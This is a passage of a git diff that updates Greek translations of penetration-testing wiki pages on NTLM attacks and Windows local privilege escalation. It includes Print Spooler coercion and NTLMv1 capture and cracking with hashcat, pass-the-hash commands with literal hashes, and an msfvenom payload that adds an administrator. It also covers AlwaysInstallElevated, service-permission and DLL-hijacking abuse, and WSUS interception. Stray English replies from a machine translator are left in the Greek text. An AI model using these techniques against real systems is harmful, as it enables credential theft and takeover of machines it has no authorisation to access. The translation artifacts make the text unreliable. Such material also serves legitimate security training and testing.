**ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes. **Προβλήματα**: @@ -77,15 +77,15 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE Σήμερα γίνεται όλο και λιγότερο συνηθισμένο να βρίσκονται περιβάλλοντα με ρυθμισμένη Απεριόριστη Αντιπροσώπευση, αλλά αυτό δεν σημαίνει ότι δεν μπορείτε να **καταχραστείτε μια υπηρεσία Print Spooler** που είναι ρυθμισμένη. -Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που έχετε ήδη στον AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** έναντι κάποιου **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να **σπάσετε** την αυθεντικοποίηση.\ +Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στον AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** έναντι κάποιου **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να την **σπάσετε**.\ Αν χρησιμοποιείτε `responder` μπορείτε να προσπαθήσετε να \*\*χρησιμοποιήσετε τη σημαία `--lm` \*\* για να προσπαθήσετε να **υποβαθμίσετε** την **αυθεντικοποίηση**.\ -&#xNAN;_Note ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (NTLMv2 δεν είναι έγκυρο)._ +_Σημειώστε ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (NTLMv2 δεν είναι έγκυρο)._ -Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακρούς και τυχαίους κωδικούς πρόσβασης** που πιθανώς **δεν θα μπορείτε να σπάσετε** χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **NTLMv1** αυθεντικοποίηση **χρησιμοποιεί DES** ([more info here](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στο σπάσιμο του DES θα μπορείτε να το σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα). +Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακριά και τυχαία κωδικούς πρόσβασης** που πιθανώς δεν θα μπορείτε να σπάσετε χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **αυθεντικοποίηση NTLMv1** **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στην κρυπτογράφηση DES θα μπορείτε να την σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα). ### NTLMv1 attack with hashcat -Η NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με έναν τρόπο που μπορεί να σπάσει με το hashcat. +Το NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με μια μέθοδο που μπορεί να σπάσει με το hashcat. Η εντολή ```bash @@ -126,7 +126,7 @@ A52B9CDEDAE86934:1122334455667788 ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` -Σε αυτή την περίπτωση γνωρίζουμε ότι ο κωδικός πρόσβασης είναι password, οπότε θα απατήσουμε για σκοπούς επίδειξης: +Σε αυτή την περίπτωση γνωρίζουμε ότι ο κωδικός πρόσβασης είναι password, οπότε θα κάνουμε cheat για σκοπούς επίδειξης: ```bash python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b DESKEY1: b55d6d04e67926 @@ -149,19 +149,19 @@ It seems that you haven't provided the text you want translated. Please share th 586c # this is the last part ``` -I'm sorry, but I need the specific text you want me to translate in order to assist you. Please provide the content you would like translated to Greek. +I'm sorry, but I need the specific text you want to be translated in order to assist you. Please provide the content you'd like translated to Greek. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` ### NTLMv2 Challenge -Το **μήκος της πρόκλησης είναι 8 bytes** και **αποστέλλονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**. +Το **μήκος της πρόκλησης είναι 8 bytes** και **στέλνονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**. **Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας χρησιμοποιώντας **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφηθεί χρησιμοποιώντας **HMAC_MD5** την **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B. Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανεκτελέσεις**...) -Αν έχετε ένα **pcap που έχει καταγράψει μια επιτυχημένη διαδικασία αυθεντικοποίησης**, μπορείτε να ακολουθήσετε αυτόν τον οδηγό για να αποκτήσετε το domain, το username, την πρόκληση και την απάντηση και να προσπαθήσετε να σπάσετε τον κωδικό πρόσβασης: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) +Αν έχετε ένα **pcap που έχει καταγράψει μια επιτυχημένη διαδικασία αυθεντικοποίησης**, μπορείτε να ακολουθήσετε αυτόν τον οδηγό για να αποκτήσετε το domain, το username, την πρόκληση και την απάντηση και να προσπαθήσετε να σπάσετε τον κωδικό: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash @@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -Αυτή η λειτουργία είναι ένα **μείγμα όλων των άλλων**. Μπορείτε να περάσετε **πολλούς hosts**, να **εξαιρέσετε** κάποιους και να **επιλέξετε** την **επιλογή** που θέλετε να χρησιμοποιήσετε (_SMBExec, WMIExec, SMBClient, SMBEnum_). Αν επιλέξετε **οποιοδήποτε** από **SMBExec** και **WMIExec** αλλά **δεν** δώσετε κανένα _**Command**_ παράμετρο, θα **ελέγξει** απλώς αν έχετε **αρκετές άδειες**. +Αυτή η λειτουργία είναι ένα **μείγμα όλων των άλλων**. Μπορείτε να περάσετε **πολλούς hosts**, να **εξαιρέσετε** κάποιους και να **επιλέξετε** την **επιλογή** που θέλετε να χρησιμοποιήσετε (_SMBExec, WMIExec, SMBClient, SMBEnum_). Εάν επιλέξετε **οποιοδήποτε** από **SMBExec** και **WMIExec** αλλά **δεν** δώσετε κανένα _**Command**_ παράμετρο, θα **ελέγξει** απλώς αν έχετε **αρκετές άδειες**. ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 878ca8914..043046cc8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -42,7 +42,7 @@ integrity-levels.md ### Καταμέτρηση πληροφοριών έκδοσης -Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις εφαρμοσμένες ενημερώσεις). +Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις διορθώσεις που έχουν εφαρμοστεί). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -71,7 +71,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github repos των exploits:** +**Github repos εκμεταλλεύσεων:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα εκτενές ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων κατά τη διάρκεια της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία. +Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων τη στιγμή της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Τα γεγονότα καταγραφής για το Script Block μπορούν να εντοπιστούν μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Η καταγραφή γεγονότων για το Script Block μπορεί να εντοπιστεί μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Για να δείτε τα τελευταία 20 γεγονότα μπορείτε να χρησιμοποιήσετε: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| Μπορείτε να παραβιάσετε το σύστημα αν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας http**S** αλλά http. -Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μια μη SSL ενημέρωση WSUS εκτελώντας το εξής: +Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μια μη-SSL ενημέρωση WSUS εκτελώντας το εξής: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -167,7 +167,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε, η καταχώρηση WSUS θα αγνοηθεί. -Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία. +Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψεύτικες' ενημερώσεις σε μη SSL WSUS κυκλοφορία. Διαβάστε την έρευνα εδώ: @@ -182,7 +182,7 @@ CTX_WSUSpect_White_Paper (1).pdf > Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό χρήστη proxy μας, και οι Ενημερώσεις των Windows χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να εκτελέσουμε [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παγιδεύσουμε τη δική μας κυκλοφορία και να εκτελέσουμε κώδικα ως ανυψωμένος χρήστης στο περιουσιακό μας στοιχείο. > -> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου trust-on-first-use στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία. +> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου εμπιστοσύνης κατά την πρώτη χρήση στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία. Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις απελευθερωθεί). @@ -218,7 +218,7 @@ Write-UserAddMSI ### MSI Wrapper -Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**. +Διαβάστε αυτό το tutorial για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν **απλώς** θέλετε να **εκτελέσετε** **γραμμές εντολών**. {{#ref}} msi-wrapper.md @@ -251,25 +251,25 @@ create-msi-with-wix.md ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Για να εκμεταλλευτείτε αυτήν την ευπάθεια μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ +Για να εκμεταλλευτείτε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ ## Antivirus και Ανιχνευτές ### Ρυθμίσεις Ελέγχου -Αυτές οι ρυθμίσεις αποφασίζουν τι **καταγράφεται**, οπότε θα πρέπει να δώσετε προσοχή +Αυτές οι ρυθμίσεις αποφασίζουν τι καταγράφεται, οπότε θα πρέπει να δώσετε προσοχή ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Η προώθηση συμβάντων των Windows είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα αρχεία καταγραφής. +Το Windows Event Forwarding είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα logs. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι. +**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι. {{#ref}} ../active-directory-methodology/laps.md @@ -277,7 +277,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Αν είναι ενεργό, **οι κωδικοί πρόσβασης σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ +Εάν είναι ενεργό, **οι κωδικοί πρόσβασης σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ [**Περισσότερες πληροφορίες σχετικά με το WDigest σε αυτή τη σελίδα**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential @@ -306,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Καταμέτρηση Χρηστών & Ομάδων -Πρέπει να ελέγξετε αν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα +Πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα ```bash # CMD net users %username% #Me @@ -332,7 +332,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### Χειρισμός διακριτικών **Μάθε περισσότερα** για το τι είναι ένα **διακριτικό** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Έλεγξε την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς: +Δες την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς: {{#ref}} privilege-escalation-abusing-tokens.md @@ -356,12 +356,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Εκτέλεση Διαδικασιών +## Εκτελούμενες Διαδικασίες ### Άδειες Αρχείων και Φακέλων Πρώτα απ' όλα, καταγράψτε τις διαδικασίες **ελέγξτε για κωδικούς πρόσβασης μέσα στη γραμμή εντολών της διαδικασίας**.\ -Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο εκτελέσιμων για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html): +Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο του εκτελέσιμου για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -372,9 +372,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Πάντα ελέγξτε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κλιμακώσετε τα δικαιώματα](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Πάντα ελέγξτε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κερδίσετε δικαιώματα](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διεργασιών** +**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διαδικασιών** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -399,9 +399,9 @@ procdump.exe -accepteula -ma ``` ### Insecure GUI apps -**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να εκκινήσει ένα CMD ή να περιηγηθεί σε καταλόγους.** +**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.** -Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Click to open Command Prompt" +Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" ## Services @@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version Αν έχετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV): _Σφάλμα συστήματος 1058 έχει συμβεί._\ -&#xNAN;_Tη υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._ +_Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._ Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας ```bash @@ -470,7 +470,7 @@ net stop [service name] && net start [service name] - **WRITE_DAC**: Ενεργοποιεί την επαναδιαμόρφωση αδειών, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. - **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση αδειών. - **GENERIC_WRITE**: Κληρονομεί την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. -- **GENERIC_ALL**: Κληρονομεί επίσης την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. +- **GENERIC_ALL**: Επίσης κληρονομεί την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. Για την ανίχνευση και εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_. @@ -492,7 +492,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ### Υπηρεσίες μητρώου τροποποίηση δικαιωμάτων Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε οποιοδήποτε μητρώο υπηρεσίας.\ -Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας σε ένα **μητρώο** υπηρεσίας κάνοντας: +Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας πάνω σε ένα **μητρώο** υπηρεσίας κάνοντας: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -551,13 +551,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Recovery Actions -Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, μπορεί να είναι δυνατή η κλιμάκωση δικαιωμάτων. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](). +Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, η εκμετάλλευση δικαιωμάτων μπορεί να είναι δυνατή. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](). ## Applications ### Installed Applications -Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να κλιμακώσετε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). +Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να εκμεταλλευτείτε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -596,7 +596,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ### Εκτέλεση κατά την εκκίνηση **Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο μητρώο ή δυαδικό αρχείο που πρόκειται να εκτελεστεί από διαφορετικό χρήστη.**\ -**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα σχετικά με ενδιαφέροντα **σημεία autoruns για την κλιμάκωση δικαιωμάτων**: +**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα σχετικά με ενδιαφέροντα **σημεία εκκίνησης για την κλιμάκωση δικαιωμάτων**: {{#ref}} privilege-escalation-with-autorun-binaries.md @@ -612,7 +612,7 @@ driverquery /SI ``` ## PATH DLL Hijacking -Αν έχετε **δικαιώματα εγγραφής μέσα σε έναν φάκελο που είναι παρών στο PATH** θα μπορούσατε να είστε σε θέση να υποκλέψετε μια DLL που φορτώνεται από μια διαδικασία και να **κλιμακώσετε τα δικαιώματα**. +Αν έχετε **δικαιώματα εγγραφής μέσα σε έναν φάκελο που είναι παρών στο PATH** θα μπορούσατε να είστε σε θέση να υποκλέψετε μια DLL που φορτώνεται από μια διαδικασία και **να κλιμακώσετε τα δικαιώματα**. Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH: ```bash @@ -664,9 +664,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Κανόνες Τείχους Προστασίας -[**Ελέγξτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος Προστασίας**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** +[**Δείτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος Προστασίας**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** -Περισσότερες [εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network) +Περισσότερες[ εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -702,12 +702,12 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### Credentials manager / Windows vault -From 